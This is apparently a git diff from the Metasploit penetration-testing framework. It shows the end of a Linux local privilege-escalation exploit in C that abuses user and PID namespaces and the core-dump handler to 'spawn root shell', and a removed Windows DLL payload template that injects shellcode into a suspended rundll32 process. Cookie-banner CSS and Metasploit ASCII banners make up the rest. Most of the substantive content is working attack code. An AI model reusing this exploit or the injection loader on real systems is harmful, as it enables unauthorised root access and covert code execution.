||||
|
||||
// Create a subprocess so we don't enter the new namespace.
|
||||
if ((wrapper = fork()) == 0) {
|
||||
|
||||
// In the child process, create a new pid and user ns. The pid
|
||||
// namespace is only needed on Ubuntu, because they check for %P != %p
|
||||
// in their core handler. On Fedora, just a user ns is sufficient.
|
||||
if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0)
|
||||
err(EXIT_FAILURE, "failed to create new namespace");
|
||||
|
||||
// Create a process in the new namespace.
|
||||
if ((init = fork()) == 0) {
|
||||
|
||||
// Init (pid 1) signal handling is special, so make a subprocess to
|
||||
// handle the traps.
|
||||
if ((subprocess = fork()) == 0) {
|
||||
// Change /proc/self/root, which we can do as we're privileged
|
||||
// within the new namepace.
|
||||
if (chroot("exploit") != 0) {
|
||||
err(EXIT_FAILURE, "chroot didnt work");
|
||||
}
|
||||
|
||||
// Now trap to get the core handler invoked.
|
||||
__builtin_trap();
|
||||
|
||||
// Shouldn't happen, unless user is ptracing us or something.
|
||||
err(EXIT_FAILURE, "coredump failed, were you ptracing?");
|
||||
}
|
||||
|
||||
// If the subprocess exited with an abnormal signal, then everything worked.
|
||||
if (waitpid(subprocess, &status, 0) == subprocess)
|
||||
return WIFSIGNALED(status)
|
||||
? EXIT_SUCCESS
|
||||
: EXIT_FAILURE;
|
||||
|
||||
// Something didn't work.
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
// The new namespace didn't work.
|
||||
if (waitpid(init, &status, 0) == init)
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS
|
||||
? EXIT_SUCCESS
|
||||
: EXIT_FAILURE;
|
||||
|
||||
// Waitpid failure.
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
// If the subprocess returned sccess, the exploit probably worked,
|
||||
// reload with euid zero.
|
||||
if (waitpid(wrapper, &status, 0) == wrapper) {
|
||||
// All done, spawn root shell.
|
||||
if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
|
||||
execl(*argv, "w00t", NULL);
|
||||
}
|
||||
}
|
||||
|
||||
// Unknown error.
|
||||
errx(EXIT_FAILURE, "unexpected result, cannot continue");
|
||||
}
|
||||
Binary file not shown.
@@ -1,16 +0,0 @@
|
||||
#!/bin/sh
|
||||
rm -f *.o *.dll
|
||||
|
||||
CCx86="i686-w64-mingw32"
|
||||
CCx64="x86_64-w64-mingw32"
|
||||
|
||||
${CCx64}-gcc -m64 -c -Os template.c -Wall -shared
|
||||
${CCx64}-dllwrap -m64 --def template.def *.o -o temp.dll
|
||||
${CCx64}-strip -s temp.dll -o template_x64_windows.dll
|
||||
rm -f temp.dll *.o
|
||||
|
||||
${CCx86}-gcc -c -Os template.c -Wall -shared
|
||||
${CCx86}-dllwrap --def template.def *.o -o temp.dll
|
||||
${CCx86}-strip -s temp.dll -o template_x86_windows.dll
|
||||
rm -f temp.dll *.o
|
||||
|
||||
@@ -1,95 +0,0 @@
|
||||
// Based on https://github.com/rapid7/metasploit-framework/tree/cac890a797d0d770260074dfe703eb5cfb63bd46/data/templates/src/pe/dll
|
||||
// - removed ExitThread(0) to prevent an Explorer crash
|
||||
// - added Mutex to prevent invoking payload multiple times (at least try)
|
||||
#include <windows.h>
|
||||
#include "template.h"
|
||||
|
||||
void inline_bzero(void *p, size_t l)
|
||||
{
|
||||
BYTE *q = (BYTE *)p;
|
||||
size_t x = 0;
|
||||
for (x = 0; x < l; x++)
|
||||
*(q++) = 0x00;
|
||||
}
|
||||
|
||||
void ExecutePayload(void);
|
||||
|
||||
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
ExecutePayload();
|
||||
break;
|
||||
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
|
||||
case DLL_THREAD_ATTACH:
|
||||
break;
|
||||
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void ExecutePayload(void)
|
||||
{
|
||||
PROCESS_INFORMATION pi;
|
||||
STARTUPINFO si;
|
||||
CONTEXT ctx;
|
||||
LPVOID ep;
|
||||
HANDLE hMutex;
|
||||
SECURITY_ATTRIBUTES MutexAttributes;
|
||||
|
||||
inline_bzero(&MutexAttributes, sizeof(MutexAttributes));
|
||||
MutexAttributes.nLength = sizeof(MutexAttributes);
|
||||
MutexAttributes.bInheritHandle = TRUE; // inherit the handle
|
||||
hMutex = CreateMutex(&MutexAttributes, TRUE, "MsfMutex");
|
||||
if(hMutex == NULL)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
if(GetLastError() == ERROR_ALREADY_EXISTS)
|
||||
{
|
||||
CloseHandle(hMutex);
|
||||
return;
|
||||
}
|
||||
|
||||
if(GetLastError() == ERROR_ACCESS_DENIED)
|
||||
{
|
||||
CloseHandle(hMutex);
|
||||
return;
|
||||
}
|
||||
|
||||
// Start up the payload in a new process
|
||||
inline_bzero(&si, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
|
||||
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
|
||||
if(CreateProcess(NULL, "rundll32.exe", NULL, NULL, TRUE, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
|
||||
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
|
||||
GetThreadContext(pi.hThread, &ctx);
|
||||
|
||||
ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
|
||||
|
||||
#ifdef _WIN64
|
||||
ctx.Rip = (DWORD64)ep;
|
||||
#else
|
||||
ctx.Eip = (DWORD)ep;
|
||||
#endif
|
||||
|
||||
SetThreadContext(pi.hThread, &ctx);
|
||||
ResumeThread(pi.hThread);
|
||||
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
}
|
||||
|
||||
CloseHandle(hMutex);
|
||||
}
|
||||
|
||||
@@ -1,3 +0,0 @@
|
||||
#define SCSIZE 2048
|
||||
unsigned char code[SCSIZE] = "PAYLOAD:";
|
||||
|
||||
Executable → Regular
BIN
Binary file not shown.
Executable → Regular
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
After Width: | Height: | Size: 1.4 MiB |
@@ -0,0 +1,6 @@
|
||||
.cc-window{opacity:1;transition:opacity 1s ease}.cc-window.cc-invisible{opacity:0}.cc-animate.cc-revoke{transition:transform 1s ease}.cc-animate.cc-revoke.cc-top{transform:translateY(-2em)}.cc-animate.cc-revoke.cc-bottom{transform:translateY(2em)}.cc-animate.cc-revoke.cc-active.cc-bottom,.cc-animate.cc-revoke.cc-active.cc-top,.cc-revoke:hover{transform:translateY(0)}.cc-grower{max-height:0;overflow:hidden;transition:max-height 1s}
|
||||
.cc-link,.cc-revoke:hover{text-decoration:underline}.cc-revoke,.cc-window{position:fixed;overflow:hidden;box-sizing:border-box;font-family:Helvetica,Calibri,Arial,sans-serif;font-size:16px;line-height:1.5em;display:-ms-flexbox;display:flex;-ms-flex-wrap:nowrap;flex-wrap:nowrap;z-index:9999}.cc-window.cc-static{position:static}.cc-window.cc-floating{padding:2em;max-width:24em;-ms-flex-direction:column;flex-direction:column}.cc-window.cc-banner{padding:1em 1.8em;width:100%;-ms-flex-direction:row;flex-direction:row}.cc-revoke{padding:.5em}.cc-header{font-size:18px;font-weight:700}.cc-btn,.cc-close,.cc-link,.cc-revoke{cursor:pointer}.cc-link{opacity:.8;display:inline-block;padding:.2em}.cc-link:hover{opacity:1}.cc-link:active,.cc-link:visited{color:initial}.cc-btn{display:block;padding:.4em .8em;font-size:.9em;font-weight:700;border-width:2px;border-style:solid;text-align:center;white-space:nowrap}.cc-banner .cc-btn:last-child{min-width:140px}.cc-highlight .cc-btn:first-child{background-color:transparent;border-color:transparent}.cc-highlight .cc-btn:first-child:focus,.cc-highlight .cc-btn:first-child:hover{background-color:transparent;text-decoration:underline}.cc-close{display:block;position:absolute;top:.5em;right:.5em;font-size:1.6em;opacity:.9;line-height:.75}.cc-close:focus,.cc-close:hover{opacity:1}
|
||||
.cc-revoke.cc-top{top:0;left:3em;border-bottom-left-radius:.5em;border-bottom-right-radius:.5em}.cc-revoke.cc-bottom{bottom:0;left:3em;border-top-left-radius:.5em;border-top-right-radius:.5em}.cc-revoke.cc-left{left:3em;right:unset}.cc-revoke.cc-right{right:3em;left:unset}.cc-top{top:1em}.cc-left{left:1em}.cc-right{right:1em}.cc-bottom{bottom:1em}.cc-floating>.cc-link{margin-bottom:1em}.cc-floating .cc-message{display:block;margin-bottom:1em}.cc-window.cc-floating .cc-compliance{-ms-flex:1;flex:1}.cc-window.cc-banner{-ms-flex-align:center;align-items:center}.cc-banner.cc-top{left:0;right:0;top:0}.cc-banner.cc-bottom{left:0;right:0;bottom:0}.cc-banner .cc-message{-ms-flex:1;flex:1}.cc-compliance{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-line-pack:justify;align-content:space-between}.cc-compliance>.cc-btn{-ms-flex:1;flex:1}.cc-btn+.cc-btn{margin-left:.5em}
|
||||
@media print{.cc-revoke,.cc-window{display:none}}@media screen and (max-width:900px){.cc-btn{white-space:normal}}@media screen and (max-width:414px) and (orientation:portrait),screen and (max-width:736px) and (orientation:landscape){.cc-window.cc-top{top:0}.cc-window.cc-bottom{bottom:0}.cc-window.cc-banner,.cc-window.cc-left,.cc-window.cc-right{left:0;right:0}.cc-window.cc-banner{-ms-flex-direction:column;flex-direction:column}.cc-window.cc-banner .cc-compliance{-ms-flex:1;flex:1}.cc-window.cc-floating{max-width:none}.cc-window .cc-message{margin-bottom:1em}.cc-window.cc-banner{-ms-flex-align:unset;align-items:unset}}
|
||||
.cc-floating.cc-theme-classic{padding:1.2em;border-radius:5px}.cc-floating.cc-type-info.cc-theme-classic .cc-compliance{text-align:center;display:inline;-ms-flex:none;flex:none}.cc-theme-classic .cc-btn{border-radius:5px}.cc-theme-classic .cc-btn:last-child{min-width:140px}.cc-floating.cc-type-info.cc-theme-classic .cc-btn{display:inline-block}
|
||||
.cc-theme-edgeless.cc-window{padding:0}.cc-floating.cc-theme-edgeless .cc-message{margin:2em 2em 1.5em}.cc-banner.cc-theme-edgeless .cc-btn{margin:0;padding:.8em 1.8em;height:100%}.cc-banner.cc-theme-edgeless .cc-message{margin-left:1em}.cc-floating.cc-theme-edgeless .cc-btn+.cc-btn{margin-left:0}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,21 @@
|
||||
%clr%red
|
||||
.:okOOOkdc' 'cdkOOOko:.
|
||||
.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.
|
||||
:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:
|
||||
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
|
||||
oOOOOOOOO.%clr%bldMMMM%clr%red.oOOOOoOOOOl.%clr%bldMMMM%clr%red,OOOOOOOOo
|
||||
dOOOOOOOO.%clr%bldMMMMMM%clr%red.cOOOOOc.%clr%bldMMMMMM%clr%red,OOOOOOOOx
|
||||
lOOOOOOOO.%clr%bldMMMMMMMMM%clr%red;d;%clr%bldMMMMMMMMM%clr%red,OOOOOOOOl
|
||||
.OOOOOOOO.%clr%bldMMM%clr%red.;%clr%bldMMMMMMMMMMM%clr%red;%clr%bldMMMM%clr%red,OOOOOOOO.
|
||||
cOOOOOOO.%clr%bldMMM%clr%red.OOc.%clr%bldMMMMM%clr%red'oOO.%clr%bldMMM%clr%red,OOOOOOOc
|
||||
oOOOOOO.%clr%bldMMM%clr%red.OOOO.%clr%bldMMM%clr%red:OOOO.%clr%bldMMM%clr%red,OOOOOOo
|
||||
lOOOOO.%clr%bldMMM%clr%red.OOOO.%clr%bldMMM%clr%red:OOOO.%clr%bldMMM%clr%red,OOOOOl
|
||||
;OOOO'%clr%bldMMM%clr%red.OOOO.%clr%bldMMM%clr%red:OOOO.%clr%bldMMM%clr%red;OOOO;
|
||||
.dOOo'%clr%bldWM%clr%red.OOOOocccxOOOO.%clr%bldMX%clr%red'xOOd.
|
||||
,kOl'%clr%bldM%clr%red.OOOOOOOOOOOOO.%clr%bldM%clr%red'dOk,
|
||||
:kk;.OOOOOOOOOOOOO.;Ok:
|
||||
;kOOOOOOOOOOOOOOOk:
|
||||
,xOOOOOOOOOOOx,
|
||||
.lOOOOOOOl.
|
||||
,dOd,
|
||||
.%clr
|
||||
@@ -0,0 +1,21 @@
|
||||
%clr%red
|
||||
.:okOOOkdc' 'cdkOOOko:.
|
||||
.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.
|
||||
:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:
|
||||
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
|
||||
oOOOOOOOO. .oOOOOoOOOOl. ,OOOOOOOOo
|
||||
dOOOOOOOO. .cOOOOOc. ,OOOOOOOOx
|
||||
lOOOOOOOO. ;d; ,OOOOOOOOl
|
||||
.OOOOOOOO. .; ; ,OOOOOOOO.
|
||||
cOOOOOOO. .OOc. 'oOO. ,OOOOOOOc
|
||||
oOOOOOO. .OOOO. :OOOO. ,OOOOOOo
|
||||
lOOOOO. .OOOO. :OOOO. ,OOOOOl
|
||||
;OOOO' .OOOO. :OOOO. ;OOOO;
|
||||
.dOOo .OOOOocccxOOOO. xOOd.
|
||||
,kOl .OOOOOOOOOOOOO. .dOk,
|
||||
:kk;.OOOOOOOOOOOOO.cOk:
|
||||
;kOOOOOOOOOOOOOOOk:
|
||||
,xOOOOOOOOOOOx,
|
||||
.lOOOOOOOl.
|
||||
,dOd,
|
||||
.%clr
|
||||
@@ -1,7 +1,7 @@
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% %% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% % %%%%%%%% %%%%%%%%%%% https://metasploit.com %%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% % %%%%%%%% %%%%%%%%%%% https://metasploit.com %%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% %% %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% %%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user